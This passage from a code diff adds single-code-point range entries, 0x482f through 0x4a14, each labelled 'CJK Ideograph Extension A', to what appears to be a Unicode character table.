+ [0x482f, 0x482f], /* CJK Ideograph Extension A */
+ [0x4830, 0x4830], /* CJK Ideograph Extension A */
+ [0x4831, 0x4831], /* CJK Ideograph Extension A */
+ [0x4832, 0x4832], /* CJK Ideograph Extension A */
+ [0x4833, 0x4833], /* CJK Ideograph Extension A */
+ [0x4834, 0x4834], /* CJK Ideograph Extension A */
+ [0x4835, 0x4835], /* CJK Ideograph Extension A */
+ [0x4836, 0x4836], /* CJK Ideograph Extension A */
+ [0x4837, 0x4837], /* CJK Ideograph Extension A */
+ [0x4838, 0x4838], /* CJK Ideograph Extension A */
+ [0x4839, 0x4839], /* CJK Ideograph Extension A */
+ [0x483a, 0x483a], /* CJK Ideograph Extension A */
+ [0x483b, 0x483b], /* CJK Ideograph Extension A */
+ [0x483c, 0x483c], /* CJK Ideograph Extension A */
+ [0x483d, 0x483d], /* CJK Ideograph Extension A */
+ [0x483e, 0x483e], /* CJK Ideograph Extension A */
+ [0x483f, 0x483f], /* CJK Ideograph Extension A */
+ [0x4840, 0x4840], /* CJK Ideograph Extension A */
+ [0x4841, 0x4841], /* CJK Ideograph Extension A */
+ [0x4842, 0x4842], /* CJK Ideograph Extension A */
+ [0x4843, 0x4843], /* CJK Ideograph Extension A */
+ [0x4844, 0x4844], /* CJK Ideograph Extension A */
+ [0x4845, 0x4845], /* CJK Ideograph Extension A */
+ [0x4846, 0x4846], /* CJK Ideograph Extension A */
+ [0x4847, 0x4847], /* CJK Ideograph Extension A */
+ [0x4848, 0x4848], /* CJK Ideograph Extension A */
+ [0x4849, 0x4849], /* CJK Ideograph Extension A */
+ [0x484a, 0x484a], /* CJK Ideograph Extension A */
+ [0x484b, 0x484b], /* CJK Ideograph Extension A */
+ [0x484c, 0x484c], /* CJK Ideograph Extension A */
+ [0x484d, 0x484d], /* CJK Ideograph Extension A */
+ [0x484e, 0x484e], /* CJK Ideograph Extension A */
+ [0x484f, 0x484f], /* CJK Ideograph Extension A */
+ [0x4850, 0x4850], /* CJK Ideograph Extension A */
+ [0x4851, 0x4851], /* CJK Ideograph Extension A */
+ [0x4852, 0x4852], /* CJK Ideograph Extension A */
+ [0x4853, 0x4853], /* CJK Ideograph Extension A */
+ [0x4854, 0x4854], /* CJK Ideograph Extension A */
+ [0x4855, 0x4855], /* CJK Ideograph Extension A */
+ [0x4856, 0x4856], /* CJK Ideograph Extension A */
+ [0x4857, 0x4857], /* CJK Ideograph Extension A */
+ [0x4858, 0x4858], /* CJK Ideograph Extension A */
+ [0x4859, 0x4859], /* CJK Ideograph Extension A */
+ [0x485a, 0x485a], /* CJK Ideograph Extension A */
+ [0x485b, 0x485b], /* CJK Ideograph Extension A */
+ [0x485c, 0x485c], /* CJK Ideograph Extension A */
+ [0x485d, 0x485d], /* CJK Ideograph Extension A */
+ [0x485e, 0x485e], /* CJK Ideograph Extension A */
+ [0x485f, 0x485f], /* CJK Ideograph Extension A */
+ [0x4860, 0x4860], /* CJK Ideograph Extension A */
+ [0x4861, 0x4861], /* CJK Ideograph Extension A */
+ [0x4862, 0x4862], /* CJK Ideograph Extension A */
+ [0x4863, 0x4863], /* CJK Ideograph Extension A */
+ [0x4864, 0x4864], /* CJK Ideograph Extension A */
+ [0x4865, 0x4865], /* CJK Ideograph Extension A */
+ [0x4866, 0x4866], /* CJK Ideograph Extension A */
+ [0x4867, 0x4867], /* CJK Ideograph Extension A */
+ [0x4868, 0x4868], /* CJK Ideograph Extension A */
+ [0x4869, 0x4869], /* CJK Ideograph Extension A */
+ [0x486a, 0x486a], /* CJK Ideograph Extension A */
+ [0x486b, 0x486b], /* CJK Ideograph Extension A */
+ [0x486c, 0x486c], /* CJK Ideograph Extension A */
+ [0x486d, 0x486d], /* CJK Ideograph Extension A */
+ [0x486e, 0x486e], /* CJK Ideograph Extension A */
+ [0x486f, 0x486f], /* CJK Ideograph Extension A */
+ [0x4870, 0x4870], /* CJK Ideograph Extension A */
+ [0x4871, 0x4871], /* CJK Ideograph Extension A */
+ [0x4872, 0x4872], /* CJK Ideograph Extension A */
+ [0x4873, 0x4873], /* CJK Ideograph Extension A */
+ [0x4874, 0x4874], /* CJK Ideograph Extension A */
+ [0x4875, 0x4875], /* CJK Ideograph Extension A */
+ [0x4876, 0x4876], /* CJK Ideograph Extension A */
+ [0x4877, 0x4877], /* CJK Ideograph Extension A */
+ [0x4878, 0x4878], /* CJK Ideograph Extension A */
+ [0x4879, 0x4879], /* CJK Ideograph Extension A */
+ [0x487a, 0x487a], /* CJK Ideograph Extension A */
+ [0x487b, 0x487b], /* CJK Ideograph Extension A */
+ [0x487c, 0x487c], /* CJK Ideograph Extension A */
+ [0x487d, 0x487d], /* CJK Ideograph Extension A */
+ [0x487e, 0x487e], /* CJK Ideograph Extension A */
+ [0x487f, 0x487f], /* CJK Ideograph Extension A */
+ [0x4880, 0x4880], /* CJK Ideograph Extension A */
+ [0x4881, 0x4881], /* CJK Ideograph Extension A */
+ [0x4882, 0x4882], /* CJK Ideograph Extension A */
+ [0x4883, 0x4883], /* CJK Ideograph Extension A */
+ [0x4884, 0x4884], /* CJK Ideograph Extension A */
+ [0x4885, 0x4885], /* CJK Ideograph Extension A */
+ [0x4886, 0x4886], /* CJK Ideograph Extension A */
+ [0x4887, 0x4887], /* CJK Ideograph Extension A */
+ [0x4888, 0x4888], /* CJK Ideograph Extension A */
+ [0x4889, 0x4889], /* CJK Ideograph Extension A */
+ [0x488a, 0x488a], /* CJK Ideograph Extension A */
+ [0x488b, 0x488b], /* CJK Ideograph Extension A */
+ [0x488c, 0x488c], /* CJK Ideograph Extension A */
+ [0x488d, 0x488d], /* CJK Ideograph Extension A */
+ [0x488e, 0x488e], /* CJK Ideograph Extension A */
+ [0x488f, 0x488f], /* CJK Ideograph Extension A */
+ [0x4890, 0x4890], /* CJK Ideograph Extension A */
+ [0x4891, 0x4891], /* CJK Ideograph Extension A */
+ [0x4892, 0x4892], /* CJK Ideograph Extension A */
+ [0x4893, 0x4893], /* CJK Ideograph Extension A */
+ [0x4894, 0x4894], /* CJK Ideograph Extension A */
+ [0x4895, 0x4895], /* CJK Ideograph Extension A */
+ [0x4896, 0x4896], /* CJK Ideograph Extension A */
+ [0x4897, 0x4897], /* CJK Ideograph Extension A */
+ [0x4898, 0x4898], /* CJK Ideograph Extension A */
+ [0x4899, 0x4899], /* CJK Ideograph Extension A */
+ [0x489a, 0x489a], /* CJK Ideograph Extension A */
+ [0x489b, 0x489b], /* CJK Ideograph Extension A */
+ [0x489c, 0x489c], /* CJK Ideograph Extension A */
+ [0x489d, 0x489d], /* CJK Ideograph Extension A */
+ [0x489e, 0x489e], /* CJK Ideograph Extension A */
+ [0x489f, 0x489f], /* CJK Ideograph Extension A */
+ [0x48a0, 0x48a0], /* CJK Ideograph Extension A */
+ [0x48a1, 0x48a1], /* CJK Ideograph Extension A */
+ [0x48a2, 0x48a2], /* CJK Ideograph Extension A */
+ [0x48a3, 0x48a3], /* CJK Ideograph Extension A */
+ [0x48a4, 0x48a4], /* CJK Ideograph Extension A */
+ [0x48a5, 0x48a5], /* CJK Ideograph Extension A */
+ [0x48a6, 0x48a6], /* CJK Ideograph Extension A */
+ [0x48a7, 0x48a7], /* CJK Ideograph Extension A */
+ [0x48a8, 0x48a8], /* CJK Ideograph Extension A */
+ [0x48a9, 0x48a9], /* CJK Ideograph Extension A */
+ [0x48aa, 0x48aa], /* CJK Ideograph Extension A */
+ [0x48ab, 0x48ab], /* CJK Ideograph Extension A */
+ [0x48ac, 0x48ac], /* CJK Ideograph Extension A */
+ [0x48ad, 0x48ad], /* CJK Ideograph Extension A */
+ [0x48ae, 0x48ae], /* CJK Ideograph Extension A */
+ [0x48af, 0x48af], /* CJK Ideograph Extension A */
+ [0x48b0, 0x48b0], /* CJK Ideograph Extension A */
+ [0x48b1, 0x48b1], /* CJK Ideograph Extension A */
+ [0x48b2, 0x48b2], /* CJK Ideograph Extension A */
+ [0x48b3, 0x48b3], /* CJK Ideograph Extension A */
+ [0x48b4, 0x48b4], /* CJK Ideograph Extension A */
+ [0x48b5, 0x48b5], /* CJK Ideograph Extension A */
+ [0x48b6, 0x48b6], /* CJK Ideograph Extension A */
+ [0x48b7, 0x48b7], /* CJK Ideograph Extension A */
+ [0x48b8, 0x48b8], /* CJK Ideograph Extension A */
+ [0x48b9, 0x48b9], /* CJK Ideograph Extension A */
+ [0x48ba, 0x48ba], /* CJK Ideograph Extension A */
+ [0x48bb, 0x48bb], /* CJK Ideograph Extension A */
+ [0x48bc, 0x48bc], /* CJK Ideograph Extension A */
+ [0x48bd, 0x48bd], /* CJK Ideograph Extension A */
+ [0x48be, 0x48be], /* CJK Ideograph Extension A */
+ [0x48bf, 0x48bf], /* CJK Ideograph Extension A */
+ [0x48c0, 0x48c0], /* CJK Ideograph Extension A */
+ [0x48c1, 0x48c1], /* CJK Ideograph Extension A */
+ [0x48c2, 0x48c2], /* CJK Ideograph Extension A */
+ [0x48c3, 0x48c3], /* CJK Ideograph Extension A */
+ [0x48c4, 0x48c4], /* CJK Ideograph Extension A */
+ [0x48c5, 0x48c5], /* CJK Ideograph Extension A */
+ [0x48c6, 0x48c6], /* CJK Ideograph Extension A */
+ [0x48c7, 0x48c7], /* CJK Ideograph Extension A */
+ [0x48c8, 0x48c8], /* CJK Ideograph Extension A */
+ [0x48c9, 0x48c9], /* CJK Ideograph Extension A */
+ [0x48ca, 0x48ca], /* CJK Ideograph Extension A */
+ [0x48cb, 0x48cb], /* CJK Ideograph Extension A */
+ [0x48cc, 0x48cc], /* CJK Ideograph Extension A */
+ [0x48cd, 0x48cd], /* CJK Ideograph Extension A */
+ [0x48ce, 0x48ce], /* CJK Ideograph Extension A */
+ [0x48cf, 0x48cf], /* CJK Ideograph Extension A */
+ [0x48d0, 0x48d0], /* CJK Ideograph Extension A */
+ [0x48d1, 0x48d1], /* CJK Ideograph Extension A */
+ [0x48d2, 0x48d2], /* CJK Ideograph Extension A */
+ [0x48d3, 0x48d3], /* CJK Ideograph Extension A */
+ [0x48d4, 0x48d4], /* CJK Ideograph Extension A */
+ [0x48d5, 0x48d5], /* CJK Ideograph Extension A */
+ [0x48d6, 0x48d6], /* CJK Ideograph Extension A */
+ [0x48d7, 0x48d7], /* CJK Ideograph Extension A */
+ [0x48d8, 0x48d8], /* CJK Ideograph Extension A */
+ [0x48d9, 0x48d9], /* CJK Ideograph Extension A */
+ [0x48da, 0x48da], /* CJK Ideograph Extension A */
+ [0x48db, 0x48db], /* CJK Ideograph Extension A */
+ [0x48dc, 0x48dc], /* CJK Ideograph Extension A */
+ [0x48dd, 0x48dd], /* CJK Ideograph Extension A */
+ [0x48de, 0x48de], /* CJK Ideograph Extension A */
+ [0x48df, 0x48df], /* CJK Ideograph Extension A */
+ [0x48e0, 0x48e0], /* CJK Ideograph Extension A */
+ [0x48e1, 0x48e1], /* CJK Ideograph Extension A */
+ [0x48e2, 0x48e2], /* CJK Ideograph Extension A */
+ [0x48e3, 0x48e3], /* CJK Ideograph Extension A */
+ [0x48e4, 0x48e4], /* CJK Ideograph Extension A */
+ [0x48e5, 0x48e5], /* CJK Ideograph Extension A */
+ [0x48e6, 0x48e6], /* CJK Ideograph Extension A */
+ [0x48e7, 0x48e7], /* CJK Ideograph Extension A */
+ [0x48e8, 0x48e8], /* CJK Ideograph Extension A */
+ [0x48e9, 0x48e9], /* CJK Ideograph Extension A */
+ [0x48ea, 0x48ea], /* CJK Ideograph Extension A */
+ [0x48eb, 0x48eb], /* CJK Ideograph Extension A */
+ [0x48ec, 0x48ec], /* CJK Ideograph Extension A */
+ [0x48ed, 0x48ed], /* CJK Ideograph Extension A */
+ [0x48ee, 0x48ee], /* CJK Ideograph Extension A */
+ [0x48ef, 0x48ef], /* CJK Ideograph Extension A */
+ [0x48f0, 0x48f0], /* CJK Ideograph Extension A */
+ [0x48f1, 0x48f1], /* CJK Ideograph Extension A */
+ [0x48f2, 0x48f2], /* CJK Ideograph Extension A */
+ [0x48f3, 0x48f3], /* CJK Ideograph Extension A */
+ [0x48f4, 0x48f4], /* CJK Ideograph Extension A */
+ [0x48f5, 0x48f5], /* CJK Ideograph Extension A */
+ [0x48f6, 0x48f6], /* CJK Ideograph Extension A */
+ [0x48f7, 0x48f7], /* CJK Ideograph Extension A */
+ [0x48f8, 0x48f8], /* CJK Ideograph Extension A */
+ [0x48f9, 0x48f9], /* CJK Ideograph Extension A */
+ [0x48fa, 0x48fa], /* CJK Ideograph Extension A */
+ [0x48fb, 0x48fb], /* CJK Ideograph Extension A */
+ [0x48fc, 0x48fc], /* CJK Ideograph Extension A */
+ [0x48fd, 0x48fd], /* CJK Ideograph Extension A */
+ [0x48fe, 0x48fe], /* CJK Ideograph Extension A */
+ [0x48ff, 0x48ff], /* CJK Ideograph Extension A */
+ [0x4900, 0x4900], /* CJK Ideograph Extension A */
+ [0x4901, 0x4901], /* CJK Ideograph Extension A */
+ [0x4902, 0x4902], /* CJK Ideograph Extension A */
+ [0x4903, 0x4903], /* CJK Ideograph Extension A */
+ [0x4904, 0x4904], /* CJK Ideograph Extension A */
+ [0x4905, 0x4905], /* CJK Ideograph Extension A */
+ [0x4906, 0x4906], /* CJK Ideograph Extension A */
+ [0x4907, 0x4907], /* CJK Ideograph Extension A */
+ [0x4908, 0x4908], /* CJK Ideograph Extension A */
+ [0x4909, 0x4909], /* CJK Ideograph Extension A */
+ [0x490a, 0x490a], /* CJK Ideograph Extension A */
+ [0x490b, 0x490b], /* CJK Ideograph Extension A */
+ [0x490c, 0x490c], /* CJK Ideograph Extension A */
+ [0x490d, 0x490d], /* CJK Ideograph Extension A */
+ [0x490e, 0x490e], /* CJK Ideograph Extension A */
+ [0x490f, 0x490f], /* CJK Ideograph Extension A */
+ [0x4910, 0x4910], /* CJK Ideograph Extension A */
+ [0x4911, 0x4911], /* CJK Ideograph Extension A */
+ [0x4912, 0x4912], /* CJK Ideograph Extension A */
+ [0x4913, 0x4913], /* CJK Ideograph Extension A */
+ [0x4914, 0x4914], /* CJK Ideograph Extension A */
+ [0x4915, 0x4915], /* CJK Ideograph Extension A */
+ [0x4916, 0x4916], /* CJK Ideograph Extension A */
+ [0x4917, 0x4917], /* CJK Ideograph Extension A */
+ [0x4918, 0x4918], /* CJK Ideograph Extension A */
+ [0x4919, 0x4919], /* CJK Ideograph Extension A */
+ [0x491a, 0x491a], /* CJK Ideograph Extension A */
+ [0x491b, 0x491b], /* CJK Ideograph Extension A */
+ [0x491c, 0x491c], /* CJK Ideograph Extension A */
+ [0x491d, 0x491d], /* CJK Ideograph Extension A */
+ [0x491e, 0x491e], /* CJK Ideograph Extension A */
+ [0x491f, 0x491f], /* CJK Ideograph Extension A */
+ [0x4920, 0x4920], /* CJK Ideograph Extension A */
+ [0x4921, 0x4921], /* CJK Ideograph Extension A */
+ [0x4922, 0x4922], /* CJK Ideograph Extension A */
+ [0x4923, 0x4923], /* CJK Ideograph Extension A */
+ [0x4924, 0x4924], /* CJK Ideograph Extension A */
+ [0x4925, 0x4925], /* CJK Ideograph Extension A */
+ [0x4926, 0x4926], /* CJK Ideograph Extension A */
+ [0x4927, 0x4927], /* CJK Ideograph Extension A */
+ [0x4928, 0x4928], /* CJK Ideograph Extension A */
+ [0x4929, 0x4929], /* CJK Ideograph Extension A */
+ [0x492a, 0x492a], /* CJK Ideograph Extension A */
+ [0x492b, 0x492b], /* CJK Ideograph Extension A */
+ [0x492c, 0x492c], /* CJK Ideograph Extension A */
+ [0x492d, 0x492d], /* CJK Ideograph Extension A */
+ [0x492e, 0x492e], /* CJK Ideograph Extension A */
+ [0x492f, 0x492f], /* CJK Ideograph Extension A */
+ [0x4930, 0x4930], /* CJK Ideograph Extension A */
+ [0x4931, 0x4931], /* CJK Ideograph Extension A */
+ [0x4932, 0x4932], /* CJK Ideograph Extension A */
+ [0x4933, 0x4933], /* CJK Ideograph Extension A */
+ [0x4934, 0x4934], /* CJK Ideograph Extension A */
+ [0x4935, 0x4935], /* CJK Ideograph Extension A */
+ [0x4936, 0x4936], /* CJK Ideograph Extension A */
+ [0x4937, 0x4937], /* CJK Ideograph Extension A */
+ [0x4938, 0x4938], /* CJK Ideograph Extension A */
+ [0x4939, 0x4939], /* CJK Ideograph Extension A */
+ [0x493a, 0x493a], /* CJK Ideograph Extension A */
+ [0x493b, 0x493b], /* CJK Ideograph Extension A */
+ [0x493c, 0x493c], /* CJK Ideograph Extension A */
+ [0x493d, 0x493d], /* CJK Ideograph Extension A */
+ [0x493e, 0x493e], /* CJK Ideograph Extension A */
+ [0x493f, 0x493f], /* CJK Ideograph Extension A */
+ [0x4940, 0x4940], /* CJK Ideograph Extension A */
+ [0x4941, 0x4941], /* CJK Ideograph Extension A */
+ [0x4942, 0x4942], /* CJK Ideograph Extension A */
+ [0x4943, 0x4943], /* CJK Ideograph Extension A */
+ [0x4944, 0x4944], /* CJK Ideograph Extension A */
+ [0x4945, 0x4945], /* CJK Ideograph Extension A */
+ [0x4946, 0x4946], /* CJK Ideograph Extension A */
+ [0x4947, 0x4947], /* CJK Ideograph Extension A */
+ [0x4948, 0x4948], /* CJK Ideograph Extension A */
+ [0x4949, 0x4949], /* CJK Ideograph Extension A */
+ [0x494a, 0x494a], /* CJK Ideograph Extension A */
+ [0x494b, 0x494b], /* CJK Ideograph Extension A */
+ [0x494c, 0x494c], /* CJK Ideograph Extension A */
+ [0x494d, 0x494d], /* CJK Ideograph Extension A */
+ [0x494e, 0x494e], /* CJK Ideograph Extension A */
+ [0x494f, 0x494f], /* CJK Ideograph Extension A */
+ [0x4950, 0x4950], /* CJK Ideograph Extension A */
+ [0x4951, 0x4951], /* CJK Ideograph Extension A */
+ [0x4952, 0x4952], /* CJK Ideograph Extension A */
+ [0x4953, 0x4953], /* CJK Ideograph Extension A */
+ [0x4954, 0x4954], /* CJK Ideograph Extension A */
+ [0x4955, 0x4955], /* CJK Ideograph Extension A */
+ [0x4956, 0x4956], /* CJK Ideograph Extension A */
+ [0x4957, 0x4957], /* CJK Ideograph Extension A */
+ [0x4958, 0x4958], /* CJK Ideograph Extension A */
+ [0x4959, 0x4959], /* CJK Ideograph Extension A */
+ [0x495a, 0x495a], /* CJK Ideograph Extension A */
+ [0x495b, 0x495b], /* CJK Ideograph Extension A */
+ [0x495c, 0x495c], /* CJK Ideograph Extension A */
+ [0x495d, 0x495d], /* CJK Ideograph Extension A */
+ [0x495e, 0x495e], /* CJK Ideograph Extension A */
+ [0x495f, 0x495f], /* CJK Ideograph Extension A */
+ [0x4960, 0x4960], /* CJK Ideograph Extension A */
+ [0x4961, 0x4961], /* CJK Ideograph Extension A */
+ [0x4962, 0x4962], /* CJK Ideograph Extension A */
+ [0x4963, 0x4963], /* CJK Ideograph Extension A */
+ [0x4964, 0x4964], /* CJK Ideograph Extension A */
+ [0x4965, 0x4965], /* CJK Ideograph Extension A */
+ [0x4966, 0x4966], /* CJK Ideograph Extension A */
+ [0x4967, 0x4967], /* CJK Ideograph Extension A */
+ [0x4968, 0x4968], /* CJK Ideograph Extension A */
+ [0x4969, 0x4969], /* CJK Ideograph Extension A */
+ [0x496a, 0x496a], /* CJK Ideograph Extension A */
+ [0x496b, 0x496b], /* CJK Ideograph Extension A */
+ [0x496c, 0x496c], /* CJK Ideograph Extension A */
+ [0x496d, 0x496d], /* CJK Ideograph Extension A */
+ [0x496e, 0x496e], /* CJK Ideograph Extension A */
+ [0x496f, 0x496f], /* CJK Ideograph Extension A */
+ [0x4970, 0x4970], /* CJK Ideograph Extension A */
+ [0x4971, 0x4971], /* CJK Ideograph Extension A */
+ [0x4972, 0x4972], /* CJK Ideograph Extension A */
+ [0x4973, 0x4973], /* CJK Ideograph Extension A */
+ [0x4974, 0x4974], /* CJK Ideograph Extension A */
+ [0x4975, 0x4975], /* CJK Ideograph Extension A */
+ [0x4976, 0x4976], /* CJK Ideograph Extension A */
+ [0x4977, 0x4977], /* CJK Ideograph Extension A */
+ [0x4978, 0x4978], /* CJK Ideograph Extension A */
+ [0x4979, 0x4979], /* CJK Ideograph Extension A */
+ [0x497a, 0x497a], /* CJK Ideograph Extension A */
+ [0x497b, 0x497b], /* CJK Ideograph Extension A */
+ [0x497c, 0x497c], /* CJK Ideograph Extension A */
+ [0x497d, 0x497d], /* CJK Ideograph Extension A */
+ [0x497e, 0x497e], /* CJK Ideograph Extension A */
+ [0x497f, 0x497f], /* CJK Ideograph Extension A */
+ [0x4980, 0x4980], /* CJK Ideograph Extension A */
+ [0x4981, 0x4981], /* CJK Ideograph Extension A */
+ [0x4982, 0x4982], /* CJK Ideograph Extension A */
+ [0x4983, 0x4983], /* CJK Ideograph Extension A */
+ [0x4984, 0x4984], /* CJK Ideograph Extension A */
+ [0x4985, 0x4985], /* CJK Ideograph Extension A */
+ [0x4986, 0x4986], /* CJK Ideograph Extension A */
+ [0x4987, 0x4987], /* CJK Ideograph Extension A */
+ [0x4988, 0x4988], /* CJK Ideograph Extension A */
+ [0x4989, 0x4989], /* CJK Ideograph Extension A */
+ [0x498a, 0x498a], /* CJK Ideograph Extension A */
+ [0x498b, 0x498b], /* CJK Ideograph Extension A */
+ [0x498c, 0x498c], /* CJK Ideograph Extension A */
+ [0x498d, 0x498d], /* CJK Ideograph Extension A */
+ [0x498e, 0x498e], /* CJK Ideograph Extension A */
+ [0x498f, 0x498f], /* CJK Ideograph Extension A */
+ [0x4990, 0x4990], /* CJK Ideograph Extension A */
+ [0x4991, 0x4991], /* CJK Ideograph Extension A */
+ [0x4992, 0x4992], /* CJK Ideograph Extension A */
+ [0x4993, 0x4993], /* CJK Ideograph Extension A */
+ [0x4994, 0x4994], /* CJK Ideograph Extension A */
+ [0x4995, 0x4995], /* CJK Ideograph Extension A */
+ [0x4996, 0x4996], /* CJK Ideograph Extension A */
+ [0x4997, 0x4997], /* CJK Ideograph Extension A */
+ [0x4998, 0x4998], /* CJK Ideograph Extension A */
+ [0x4999, 0x4999], /* CJK Ideograph Extension A */
+ [0x499a, 0x499a], /* CJK Ideograph Extension A */
+ [0x499b, 0x499b], /* CJK Ideograph Extension A */
+ [0x499c, 0x499c], /* CJK Ideograph Extension A */
+ [0x499d, 0x499d], /* CJK Ideograph Extension A */
+ [0x499e, 0x499e], /* CJK Ideograph Extension A */
+ [0x499f, 0x499f], /* CJK Ideograph Extension A */
+ [0x49a0, 0x49a0], /* CJK Ideograph Extension A */
+ [0x49a1, 0x49a1], /* CJK Ideograph Extension A */
+ [0x49a2, 0x49a2], /* CJK Ideograph Extension A */
+ [0x49a3, 0x49a3], /* CJK Ideograph Extension A */
+ [0x49a4, 0x49a4], /* CJK Ideograph Extension A */
+ [0x49a5, 0x49a5], /* CJK Ideograph Extension A */
+ [0x49a6, 0x49a6], /* CJK Ideograph Extension A */
+ [0x49a7, 0x49a7], /* CJK Ideograph Extension A */
+ [0x49a8, 0x49a8], /* CJK Ideograph Extension A */
+ [0x49a9, 0x49a9], /* CJK Ideograph Extension A */
+ [0x49aa, 0x49aa], /* CJK Ideograph Extension A */
+ [0x49ab, 0x49ab], /* CJK Ideograph Extension A */
+ [0x49ac, 0x49ac], /* CJK Ideograph Extension A */
+ [0x49ad, 0x49ad], /* CJK Ideograph Extension A */
+ [0x49ae, 0x49ae], /* CJK Ideograph Extension A */
+ [0x49af, 0x49af], /* CJK Ideograph Extension A */
+ [0x49b0, 0x49b0], /* CJK Ideograph Extension A */
+ [0x49b1, 0x49b1], /* CJK Ideograph Extension A */
+ [0x49b2, 0x49b2], /* CJK Ideograph Extension A */
+ [0x49b3, 0x49b3], /* CJK Ideograph Extension A */
+ [0x49b4, 0x49b4], /* CJK Ideograph Extension A */
+ [0x49b5, 0x49b5], /* CJK Ideograph Extension A */
+ [0x49b6, 0x49b6], /* CJK Ideograph Extension A */
+ [0x49b7, 0x49b7], /* CJK Ideograph Extension A */
+ [0x49b8, 0x49b8], /* CJK Ideograph Extension A */
+ [0x49b9, 0x49b9], /* CJK Ideograph Extension A */
+ [0x49ba, 0x49ba], /* CJK Ideograph Extension A */
+ [0x49bb, 0x49bb], /* CJK Ideograph Extension A */
+ [0x49bc, 0x49bc], /* CJK Ideograph Extension A */
+ [0x49bd, 0x49bd], /* CJK Ideograph Extension A */
+ [0x49be, 0x49be], /* CJK Ideograph Extension A */
+ [0x49bf, 0x49bf], /* CJK Ideograph Extension A */
+ [0x49c0, 0x49c0], /* CJK Ideograph Extension A */
+ [0x49c1, 0x49c1], /* CJK Ideograph Extension A */
+ [0x49c2, 0x49c2], /* CJK Ideograph Extension A */
+ [0x49c3, 0x49c3], /* CJK Ideograph Extension A */
+ [0x49c4, 0x49c4], /* CJK Ideograph Extension A */
+ [0x49c5, 0x49c5], /* CJK Ideograph Extension A */
+ [0x49c6, 0x49c6], /* CJK Ideograph Extension A */
+ [0x49c7, 0x49c7], /* CJK Ideograph Extension A */
+ [0x49c8, 0x49c8], /* CJK Ideograph Extension A */
+ [0x49c9, 0x49c9], /* CJK Ideograph Extension A */
+ [0x49ca, 0x49ca], /* CJK Ideograph Extension A */
+ [0x49cb, 0x49cb], /* CJK Ideograph Extension A */
+ [0x49cc, 0x49cc], /* CJK Ideograph Extension A */
+ [0x49cd, 0x49cd], /* CJK Ideograph Extension A */
+ [0x49ce, 0x49ce], /* CJK Ideograph Extension A */
+ [0x49cf, 0x49cf], /* CJK Ideograph Extension A */
+ [0x49d0, 0x49d0], /* CJK Ideograph Extension A */
+ [0x49d1, 0x49d1], /* CJK Ideograph Extension A */
+ [0x49d2, 0x49d2], /* CJK Ideograph Extension A */
+ [0x49d3, 0x49d3], /* CJK Ideograph Extension A */
+ [0x49d4, 0x49d4], /* CJK Ideograph Extension A */
+ [0x49d5, 0x49d5], /* CJK Ideograph Extension A */
+ [0x49d6, 0x49d6], /* CJK Ideograph Extension A */
+ [0x49d7, 0x49d7], /* CJK Ideograph Extension A */
+ [0x49d8, 0x49d8], /* CJK Ideograph Extension A */
+ [0x49d9, 0x49d9], /* CJK Ideograph Extension A */
+ [0x49da, 0x49da], /* CJK Ideograph Extension A */
+ [0x49db, 0x49db], /* CJK Ideograph Extension A */
+ [0x49dc, 0x49dc], /* CJK Ideograph Extension A */
+ [0x49dd, 0x49dd], /* CJK Ideograph Extension A */
+ [0x49de, 0x49de], /* CJK Ideograph Extension A */
+ [0x49df, 0x49df], /* CJK Ideograph Extension A */
+ [0x49e0, 0x49e0], /* CJK Ideograph Extension A */
+ [0x49e1, 0x49e1], /* CJK Ideograph Extension A */
+ [0x49e2, 0x49e2], /* CJK Ideograph Extension A */
+ [0x49e3, 0x49e3], /* CJK Ideograph Extension A */
+ [0x49e4, 0x49e4], /* CJK Ideograph Extension A */
+ [0x49e5, 0x49e5], /* CJK Ideograph Extension A */
+ [0x49e6, 0x49e6], /* CJK Ideograph Extension A */
+ [0x49e7, 0x49e7], /* CJK Ideograph Extension A */
+ [0x49e8, 0x49e8], /* CJK Ideograph Extension A */
+ [0x49e9, 0x49e9], /* CJK Ideograph Extension A */
+ [0x49ea, 0x49ea], /* CJK Ideograph Extension A */
+ [0x49eb, 0x49eb], /* CJK Ideograph Extension A */
+ [0x49ec, 0x49ec], /* CJK Ideograph Extension A */
+ [0x49ed, 0x49ed], /* CJK Ideograph Extension A */
+ [0x49ee, 0x49ee], /* CJK Ideograph Extension A */
+ [0x49ef, 0x49ef], /* CJK Ideograph Extension A */
+ [0x49f0, 0x49f0], /* CJK Ideograph Extension A */
+ [0x49f1, 0x49f1], /* CJK Ideograph Extension A */
+ [0x49f2, 0x49f2], /* CJK Ideograph Extension A */
+ [0x49f3, 0x49f3], /* CJK Ideograph Extension A */
+ [0x49f4, 0x49f4], /* CJK Ideograph Extension A */
+ [0x49f5, 0x49f5], /* CJK Ideograph Extension A */
+ [0x49f6, 0x49f6], /* CJK Ideograph Extension A */
+ [0x49f7, 0x49f7], /* CJK Ideograph Extension A */
+ [0x49f8, 0x49f8], /* CJK Ideograph Extension A */
+ [0x49f9, 0x49f9], /* CJK Ideograph Extension A */
+ [0x49fa, 0x49fa], /* CJK Ideograph Extension A */
+ [0x49fb, 0x49fb], /* CJK Ideograph Extension A */
+ [0x49fc, 0x49fc], /* CJK Ideograph Extension A */
+ [0x49fd, 0x49fd], /* CJK Ideograph Extension A */
+ [0x49fe, 0x49fe], /* CJK Ideograph Extension A */
+ [0x49ff, 0x49ff], /* CJK Ideograph Extension A */
+ [0x4a00, 0x4a00], /* CJK Ideograph Extension A */
+ [0x4a01, 0x4a01], /* CJK Ideograph Extension A */
+ [0x4a02, 0x4a02], /* CJK Ideograph Extension A */
+ [0x4a03, 0x4a03], /* CJK Ideograph Extension A */
+ [0x4a04, 0x4a04], /* CJK Ideograph Extension A */
+ [0x4a05, 0x4a05], /* CJK Ideograph Extension A */
+ [0x4a06, 0x4a06], /* CJK Ideograph Extension A */
+ [0x4a07, 0x4a07], /* CJK Ideograph Extension A */
+ [0x4a08, 0x4a08], /* CJK Ideograph Extension A */
+ [0x4a09, 0x4a09], /* CJK Ideograph Extension A */
+ [0x4a0a, 0x4a0a], /* CJK Ideograph Extension A */
+ [0x4a0b, 0x4a0b], /* CJK Ideograph Extension A */
+ [0x4a0c, 0x4a0c], /* CJK Ideograph Extension A */
+ [0x4a0d, 0x4a0d], /* CJK Ideograph Extension A */
+ [0x4a0e, 0x4a0e], /* CJK Ideograph Extension A */
+ [0x4a0f, 0x4a0f], /* CJK Ideograph Extension A */
+ [0x4a10, 0x4a10], /* CJK Ideograph Extension A */
+ [0x4a11, 0x4a11], /* CJK Ideograph Extension A */
+ [0x4a12, 0x4a12], /* CJK Ideograph Extension A */
+ [0x4a13, 0x4a13], /* CJK Ideograph Extension A */
+ [0x4a14, 0x4a14], /* CJK Ideograph Extension A */
